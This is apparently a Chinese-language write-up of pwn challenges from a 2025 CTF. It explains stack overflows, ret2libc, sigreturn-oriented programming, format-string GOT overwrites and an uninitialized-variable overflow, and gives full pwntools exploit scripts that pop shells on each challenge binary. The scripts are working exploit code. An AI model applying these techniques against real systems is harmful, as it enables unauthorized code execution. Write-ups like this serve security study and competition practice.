tsctf 2025

ret

签到题,明摆着的栈溢出和后门函数,略

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

ret_addr = 0x400501
backdoor = 0x0400676
io = connect("host.docker.internal", 64958)

io.recvuntil(b"sign-in!")
payload = b"A"*(16 + 8)
payload += p64(ret_addr)
payload += p64(backdoor)
io.sendline(payload)
io.interactive()

pop

提示了ret2libc

__int64 vuln()
{
  _BYTE v1[16]; // [rsp+0h] [rbp-10h] BYREF

  puts("No backdoors this time!");
  return gets(v1);
}

只给了一个任意读,第一步是泄露libc基地址,利用got表泄露,gadget都很全,然后回到vuln函数再利用一次

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

pop_rdi_ret = 0x400713
ret_addr = 0x4004c9
elf = ELF('./pwn')
libc = ELF('./libc-2.23.so')

#io = process('./pwn')
io = connect("host.docker.internal",32821)
# 第一阶段:泄露puts地址
puts_got = elf.got['puts']
puts_plt = elf.plt['puts'] 
vuln_addr = 0x400626

payload1 = b"A" * 24
payload1 += p64(pop_rdi_ret)
payload1 += p64(puts_got)
payload1 += p64(puts_plt)
payload1 += p64(vuln_addr)
io.recvuntil(b"time!")

io.sendline(payload1)
io.recv(6)
# 接收泄露的地址
puts_leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc_base = puts_leak - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))

log.info(f"puts leak: 0x{puts_leak:x}")
log.info(f"libc base: 0x{libc_base:x}")
log.info(f"system: 0x{system_addr:x}")
log.info(f"/bin/sh: 0x{binsh_addr:x}")

# 第二阶段:获取shell
payload2 = b"A" * 24
payload2 += p64(pop_rdi_ret)
payload2 += p64(binsh_addr)
payload2 += p64(system_addr)
#gdb.attach(io)
io.sendline(payload2)

io.interactive()

Easy-syscall

有一个magic函数

__int64 magic()
{
  __int64 result; // rax

  result = 15;
  __asm { syscall; LINUX - sys_rt_sigreturn }
  return result;
}

进行了一个陌生的系统调用,其作用很强大,根据栈上数据重新设置所有寄存器的值,pwntools里有SigreturnFrame()函数来辅助构建payload

既然可以随意修改寄存器的值了,还有栈溢出可以ROP,那就把rax设置成59,再跳到call system即可

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

#io = process('./pwn')
io = connect("host.docker.internal",36493)

io.recvuntil(b"here...")
magic_addr = 0x40117E
binsh = 0x0402008
ret_addr = 0x40101a
syscall_addr = 0x401185
bss_addr = 0x404060

frame = SigreturnFrame() 
frame.rax = 59
frame.rdi = 0x402008
frame.rsi = 0
frame.rdx = 0
frame.rip = 0x401185


frame_bytes = bytes(frame)

payload = b"A"*48 + b"B"*8
payload += p64(magic_addr)
payload += bytes(frame)


#gdb.attach(io)
io.send(payload)

io.interactive()

解这道题的时候一开始手欠在ROP链的开始放了一个ret的gadget,导致sigreturn的时候寄存器全都错位了且其中一个怎么都设置不对正确的值,一度以为pwntools不靠谱了

sentences

一如既往地打开IDA

unsigned __int64 vuln()
{
  int i; // [rsp+Ch] [rbp-114h]
  char buf[264]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v3; // [rsp+118h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Do you have anything you'd like to say to the problem setter?");
  puts("You can only say three sentences.");
  for ( i = 0; i <= 2; ++i )
  {
    read(0, buf, 0x100u);
    printf(buf);
  }
  puts("Alright, I haven't received anything now.");
  puts("And I won't give you a reply in the future either.");
  return v3 - __readfsqword(0x28u);
}

很明显的格式化字符串漏洞,思路也很明确,先泄露栈地址、libc上函数地址,再利用栈地址找偏移,篡改循环变量i的值为负数,再篡改printf的got表项使其指向system,最后传一个/bin/sh\x00给printf

system和printf的libc地址后三字节不同,选择在一次printf里分两次篡改,幸好read的长度足够,没有卡这点,可以放心的拆分。循环里两次read之间没有输出提示,需要sleep一下调控

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

libc = ELF('./libc.so.6')
system_offset = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))
target_addr = 0x401274


#io = process('./pwn')
io = connect("host.docker.internal", 52701)
io.recvuntil(b'sentences.')
io.sendline(b'%p%p%p%43$p')
io.recv(1)
output = io.recvline()
leaked_stack = int(output.split(b'0x')[1].split(b'?')[0], 16)
leak_libc = int(output.split(b'0x')[3].split(b'?')[0], 16)
ret_addr = int(output.split(b'0x')[4].split(b'?')[0], 16)

main_addr = ret_addr - 78
pm_base = main_addr - 0x1288
printf_got = pm_base + 0x4028
i_addr = leaked_stack - 0xf0 + 0xef

print("leaked_stack: ",hex(leaked_stack))
print("i_addr: ",hex(i_addr))
print("leak_libc: ",hex(leak_libc))
print("print_got",hex(printf_got))
libc = ELF('./libc.so.6')
read_addr = leak_libc - 18
system_offset = libc.symbols['system']
read_offset = libc.symbols['read']
lib_base = read_addr - read_offset
system_addr = lib_base + system_offset
binsh_addr = lib_base + binsh
pop_rdi_ret = lib_base + 0x000000000002a3e5

print("rdi:",hex(pop_rdi_ret))
payload = b''
payload += b"%200c%10$hhnxxxx"
payload += p64(i_addr)
#payload = b"%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p"

time.sleep(3)
io.sendline(payload)


def write_system_faster(printf_got, system_addr):
    printf_got2 = printf_got + 2
    # 写入低 2 字节
    low_2_bytes = system_addr & 0xffff
    low_3_bytes = (system_addr >> 16) & 0xff  
    a = low_2_bytes & 0xff
    adjusted_high_byte = low_3_bytes + 0x100 - a  # 处理回绕

    print("low_3_bytes: ",low_3_bytes)
    print("system",hex(system_addr))
    payload = f"%{low_2_bytes}c%12$hn".encode() + f"%{adjusted_high_byte}c%13$hhn".encode() + b"A" * 7 + p64(printf_got) + p64(printf_got2)
    time.sleep(1)
    io.sendline(payload)
    

write_system_faster(printf_got, system_addr)


#payload = b"%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p"

time.sleep(3)
#gdb.attach(io)
io.sendline(b"/bin/sh\x00")

io.interactive()

Hard_syscall

IDA打开之后震惊了,一个极简的程序,出题人是纯汇编写的吗?

__int64 vuln()
{
  _BYTE v1[16]; // [rsp+0h] [rbp-10h] BYREF

  write(1, Nothing, 27);
  return read(0, v1, 512);
}

给了一个充足的栈溢出,但是除此之外啥也没有,经过上一个ret2syscall的暗示,知道又要利用sigreturn了

第一个难点在于虽然可以自由地ROP,自由地跳转到syscall,但是没有正确设置rax的手段……并非,rax是函数的返回值存放的地方,而read函数返回值为读入的字节数,只需要触发一个read,输入15个字节,再跳到syscall就实现了!

接下来的思路依然是用sigreturn执行execve(“/bin/sh\x00”),这里binsh需要自己写入,正好接着读15字节的机会,再取data段找一个可写的地址塞进去,统统放进SigreturnFrame里

sigreturn会破坏原有的ROP链,很显然原有的rsp rbp都丢掉了,所以第一轮利用之后需要重新布置栈,需要把rip改到read函数处再读一遍,buf改到可控的地方,构建出新的ROP链,也就是再read一遍15字节触发sigreturn把binsh的地址等等传进去,完美cat flag

最后一轮的rsp需要设置成一个安全的值,否则归0会崩溃,栈迁移的经验告诉我不一定非得是0x7ff开头的地方

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

context.terminal = ['tmux', 'splitw', '-h']

read_addr = 0x40106A
write_addr = 0x401072
ret_addr = 0x401035
system_addr = 0x040106F
fail_data = 0x402000

p_data = 0x402008
#io = process("./pwn")

io = connect("host.docker.internal",49133)
io.recvuntil(b"now!")

frame1 = SigreturnFrame()
frame1.rax = 0                  # read
frame1.rdi = 0                  # stdin
frame1.rsi = fail_data          # 写目标
frame1.rdx = 0x140                  
frame1.rip = read_addr          # 执行 read
frame1.rsp = p_data


frame2 = SigreturnFrame()
frame2.rax = 59                  # execve
frame2.rdi = fail_data           # /bin/sh\x00
#frame2.rdx = 0
frame2.rip = system_addr          # system
frame2.rsp = p_data             #随便写一个

payload = b"A"* (16 + 8) #24

payload += p64(read_addr)
payload += p64(system_addr) 
payload += bytes(frame1)

io.send(payload)
time.sleep(1)

io.send(b"A"*15)
time.sleep(1)


new_stack = b"/bin/sh\x00"
new_stack += p64(read_addr)
new_stack += p64(system_addr) 
new_stack += bytes(frame2)

io.send(new_stack)

payload2 = b"/bin/sh" + b"\x00"*8

time.sleep(1)
#gdb.attach(io)
io.send(payload2)

io.interactive()

ez-dinner

两个函数

int __fastcall main(int argc, const char **argv, const char **envp)
{
  Myinit();
  puts("Welcome to ldz's Ciber-Stack-Dinner!");
  puts("Today's special: Segmentation fault or maybe Nothing happened — served with a stack sauce.");
  puts("Don't worry, we saved your return address... maybe...");
  func1();
  func2();
  return 0;
}

再仔细一看

int func1()
{
  _QWORD buf[2]; // [rsp+0h] [rbp-110h] BYREF
  char v2[240]; // [rsp+10h] [rbp-100h] BYREF
  char *v3; // [rsp+100h] [rbp-10h]
  int v4; // [rsp+10Ch] [rbp-4h]

  puts("So please show me your dinner Admission ticket.");
  v4 = read(0, buf, 0x100u);
  if ( v4 == -1 )
    return puts("You are not authorized to attend this dinner.");
  printf("Name: %lx\n", buf[0]);
  printf("Age:  %lx\n", buf[1]);
  v3 = v2;
  return printf("Description: %.*s\n", 240, v2);
}

没有栈溢出,但是有输出,可能会泄露出什么,继续看func2

int func2()
{
  int v1; // [rsp+Ch] [rbp-64h] BYREF
  _QWORD buf[11]; // [rsp+10h] [rbp-60h] BYREF
  int v3; // [rsp+68h] [rbp-8h]
  int i; // [rsp+6Ch] [rbp-4h]

  puts("How many dishes would u like to eat?");
  __isoc99_scanf("%1d", &v1);
  puts("Okey, then What would you like to eat?");
  read(0, buf, 8LL * v1);
  for ( i = 0; buf[i] && buf[i] != 10 && i < v1; ++i )
    v3 += buf[i];
  puts("Cooking ...");
  sleep(1u);
  puts("The food is served.\nWish you a happy meal!");
  i = v3 % 3;
  if ( !(v3 % 3) )
    return food1();
  if ( i == 1 )
    return food2();
  return food3();
}

要找栈溢出只能从read(0, buf, 8LL * v1);入手,scanf(“%1d”, &v1);强制只能读入一个字节,表面上只能读入0-9实际上如果输入非法字符会被拒收,这样v1就是未初始化的,而func1恰好可以往栈上写入很多东西,于是借此机会把v1改成大数,于是栈溢出就有了

没有后门函数和syscall,给了libc,显然接下来要想办法搞到libc的基址正好可以利用func1的泄露,如果输入没有覆盖,岂不是会读到未定义的东西,试了一下果然出现了libc里的函数地址

接下来就简单了,第二轮的func1没碰太多栈,于是再次进入func2,v1还是未初始化的值,栈溢出依然存在,于是顺理成章ROP即可

一个坑点是,func1的输入\n,由于算输入非法,输入内容没有被接收就还停留在缓冲区里等着下一次输入,然后进了scanf,导致payload被本来发给scanf的字符截胡,可气的是出现了本地gdb里能跑通,退出gdb就跑不通的诡异情况,好一顿排查……其实没有,一调试就是成功,偶然注意到输入输出不对劲才反应过来,gdb把两次输入拼到了一起,而本地和远程都没有!

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

context.terminal = ['tmux', 'splitw', '-h']

ret_addr = 0x40129E

binsh = 0x4022A3

call_1 = 0x4015C6
bss_addr = 0x4040A0 + 0x100
# 连接目标

#p = process('./dinner')

p = connect("host.docker.internal",51040)

libc = ELF('./libc.so.6')

elf = ELF('./dinner')

rop = ROP(libc)

puts_got = elf.got['puts']

pop_rdi_ret_offset = rop.find_gadget(['pop rdi', 'ret'])[0]

system_offset = libc.symbols['system']

puts_offset = libc.symbols['puts']

# 阶段1:设置 v1 残留值

payload1 =  b'A' * 0xac  # 填充到 v1 位置 (172 字节)

payload1 += p32(50)

payload1 += b'B' * (256 - 0xac - 4)  # 填充剩余

p.recvuntil(b"ticket.")

p.send(payload1)

# 阶段2:让 scanf 失败

p.recvuntil(b"How many dishes would u like to eat?")
#gdb.attach(p)
p.send(b'a')  # 非数字输入,scanf 失败

#第三步,回到开头泄露地址

payload2 = b'B' + b'C' * 87   # 填满 buf[11]

payload2 += b'D' * 8   # 填充

payload2 += p64(bss_addr)   # 填充rbp

payload2 += p64(call_1)

p.recvuntil(b"What would you like to eat?")

p.sendline(payload2)

#第四步,跳过输入,泄露

p.recvuntil(b"ticket.")

p.send(b'\n')

p.recv(1)

name = p.recvline()

age_line = p.recvline().strip()

print("age:",age_line)

age_hex = age_line.decode().split()[-1]

age = int(age_hex, 16)

system =  age + 0x64750 - 0x9eef3

libc_base = system - system_offset

pop_rdi_ret = libc_base + pop_rdi_ret_offset

# 第五步,跳过

p.recvuntil(b"How many dishes would u like to eat?")

#p.send(b'a')

payload3 = b'C' * 88   # 填满 buf[11]

payload3 += b'D' * 8   # 填充

#payload3 += b'E' * 8    # 填充rbp

payload3 += p64(ret_addr)

payload3 += p64(ret_addr)

payload3 += p64(pop_rdi_ret)

payload3 += p64(binsh)

payload3 += p64(system)

p.recvuntil(b"Okey, then What would you like to eat?")
#gdb.attach(p)
p.sendline(payload3)

print("system:",hex(system))

print("pop_rdi",hex(pop_rdi_ret))

p.interactive()

pivot

简洁至极的程序,除了libc和16字节的栈溢出真就什么都没有。如果给个pop rdi ret的gadget就可以很舒适地调用puts泄露libc基地址,栈迁移重新ROP,然而啥也没有。

尝试迁移后直接puts泄露got表,但是没有成功,疑似是RELRO: Full RELRO干的好事

尝试学习ret2dl-resolve,并没有掌握于是未果

uniform

能看得出是UAF漏洞,但是涉及堆,还没学过,本来想pivot解完去学的,结果卡死了,不会